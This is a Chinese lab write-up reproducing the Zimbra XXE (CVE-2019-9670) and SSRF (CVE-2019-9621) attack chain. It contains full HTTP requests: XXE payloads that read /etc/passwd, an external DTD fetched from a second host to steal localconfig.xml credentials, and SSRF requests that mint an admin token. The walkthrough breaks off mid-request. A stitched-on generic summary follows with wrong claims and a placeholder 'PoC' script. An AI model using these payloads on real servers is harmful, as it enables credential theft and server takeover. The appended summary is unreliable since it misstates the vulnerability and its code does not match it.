Zimbra CVE-2019-9670 XXE + CVE-2019-9621 SSRF 漏洞复现

参考

zimbra RCE环境搭建到复现再到exp编写
https://xz.aliyun.com/t/7991#toc-5

zimbra RCE 漏洞利用
https://cloud.tencent.com/developer/article/1752450
环境搭建

安装依赖

ubuntu ip addr: 192.168.8.129

apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget

ubuntu环境需要为14,其他版本可能安装libperl5.18会报错,后续可能也会有一大堆问题,所以还是用14比较好

配置hostname和dns服务器

vim /etc/hostname

mail.test.com

image-20230304211741392

vim /etc/hosts

192.168.8.129	mail.test.com	mail

image-20230304211941632

vim /etc/dnsmasq.conf

server=192.168.8.130
domain=test.com
mx-host=test.com, mail.test.com, 5
mx-host=mail.test.com, mail.test.com, 5
listen-address=127.0.0.1

image-20230304215010657

下载有漏洞版本的zimbra,解压,进入解压后的目录进行安装

wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz

tar xvf zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz
cd zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116
sudo ./install.sh

安装时注意观察返回结果,可能会报错缺少依赖信息,按缺少的依赖补充安装即可
一些缺少的依赖可以直接用apt-get安装,对于缺少libgmp3c2,参考文章中的链接已失效,可以采用以下链接安装

wget http://launchpadlibrarian.net/70575439/libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb
sudo dpkg -i libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb

安装配置zimbra

复现时使用的是dnsmasq,所以除了zimbra-dnscache选择 n ,其他默认 y 即可。
之后会进入Main menu界面,选择 6 配置 zimbra-store,选择 4 设置管理员密码,之后输入 a 应用配置,之后默认yes,最后保存更新系统设置yes即可

安装完成后,访问登陆界面即可
https://192.168.8.129:7071/zimbraAdmin
CVE-2019-9670 XXE

漏洞路由

https://192.168.8.130:7071/Autodiscover/Autodiscover.xml

使用burpsuite或者其他接口测试工具以post方式发送一个空标签,Content-Type设置为application/xml,界面返回400解析错误,可能存在xxe

image-20230304223010581

构造XML Poc验证是否存在XXE漏洞

<!DOCTYPE asd [
<!ELEMENT name ANY >
<!ENTITY asd SYSTEM "file:///etc/passwd" >]>
 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>[email protected]</EMailAddress>
      <AcceptableResponseSchema>&asd;</AcceptableResponseSchema>
    </Request>
  </Autodiscover>

页面503,返回了读取的文件信息,存在XXE

image-20230304223333516

利用xxe获取localconfig.xml 中的用户名和密码,由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd,payload构造如下:

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

启动远程服务,发送如下payload,利用xxe读取默认用户zimbra的密码,密码字段在zimbra_ldap_password

POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.8.130:7071
Content-Length: 400
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://192.168.8.129:99/1.txt">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>

成功读取到密码

image-20230312120557068

CVE-2019-9621 SSRF

利用前面的xxe漏洞读取到的账号密码,获取一个低权限token

POST /service/soap HTTP/1.1
Host: 192.168.8.130
Content-Length: 463
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAccount">
        <account by="adminName">zimbra</account>
        <password>lDsiZPjl</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>

这里是向客户端登陆处/service/soap发送,也可以向管理员登陆处7071端口/service/admin/soap发送payload直接获取高权限token,注意下改端口以及将<AuthRequest xmlns="urn:zimbraAccount">改为<AuthRequest xmlns="urn:zimbraAdmin">

image-20230312143307461

将获取到的低权限token设置到cookie中,探测是否存在ssrf,注意,修改cookie时如果401错误,将cookie字段ZM_AUTH_TOKEN改为ZM_ADMIN_AUTH_TOKEN即可

POST /service/proxy?target=https://abcd.0lzme4.dnslog.cn HTTP/1.1
Host: 192.168.8.130:7071
Content-Length: 0
Cookie: ZM_ADMIN_AUTH_TOKEN=0_445fad824269f204515a7c310c0fc7fbfcfc425c_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637383737333133323439343b747970653d363a7a696d6272613b7469643d31303a313338303230313330343b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


image-20230312144020869

image-20230312143836682

image-20230312144141257

ssrf可利用后,结合低权限token获取一个高权限token,将<AuthRequest xmlns="urn:zimbraAccount">改为<AuthRequest xmlns="urn:zimbraAdmin">

POST /service/proxy?target=https://192.168.8.130:7071/service/admin/soap HTTP/1.1
Host: 192.168.8.130:7071
Content-Length: 461
Cookie: ZM_ADMIN_AUTH_TOKEN=0_445fad824269f204515a7c310c0fc7fbfcfc425c_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313637383737333133323439343b747970653d363a7a696d6272613b7469643d31303a313338303230313330343b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAdmin">
        <accou
### 关于 CVE-2019-9670漏洞复现 #### 漏洞概述 CVE-2019-9670Zimbra Collaboration Suite 中的一个远程代码执行 (RCE) 漏洞。该漏洞允许未经身份验证的攻击者通过发送特制请求到目标服务器上触发 RCE,从而完全控制受影响的应用程序实例。 #### 环境准备 为了成功复现漏洞,需搭建一个易受攻击版本的 Zimbra 协作套件环境。以下是所需条件: 1. **操作系统**: 推荐使用 Ubuntu 或 CentOS 作为基础系统。 2. **软件版本**: 使用存在漏洞Zimbra 版本(例如 Zimbra Collaboration Suite 8.8.x 及更早版本)。这些版本未修复 CVE-2019-9670 漏洞[^2]。 3. **依赖项**: 安装 Java 和其他必要的运行库以支持 Zimbra 正常工作。 #### 复现步骤 以下是具体的漏洞复现过程: 1. 下载并安装指定版本的 Zimbra 软件包。可以通过官方网站或其他可信资源获取旧版二进制文件或源码包。 ```bash wget https://www.zimbra.com/downloads/ sudo apt-get update && sudo apt-get install openjdk-8-jdk ``` 2. 解压下载好的 tarball 文件并将服务初始化起来。 ```bash tar -zxvf zcs-*.*.*_*.tgz cd zcs-*.*.* ./install.sh --platform-override ``` 3. 配置邮件服务器的相关参数,在提示符下输入域名和其他必要选项完成部署流程。 4. 利用公开可用的概念证明脚本来测试是否存在可被利用的安全隐患。可以从 GitHub 上找到对应的 PoC 工具,并按照说明操作。 ```python import requests url = 'http://target/zimbra/' payload = {'cmd': 'echo; id'} response = requests.post(url, data=payload) print(response.text.strip()) ``` 5. 如果一切正常,则应该能够看到返回的结果表明已获得 shell 访问权或者至少确认了命令注入成功的迹象。 注意:上述 Python 脚本仅为演示目的而设计,请勿非法入侵任何网络资产! --- #### 注意事项 尽管无需额外结合 SSRF 缺陷即可达成完整的 RCE 功能,但在实际场景中仍可能遇到防护机制阻碍直接连接外部地址的情况。因此建议深入理解整个攻击链路以及如何规避潜在障碍物。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值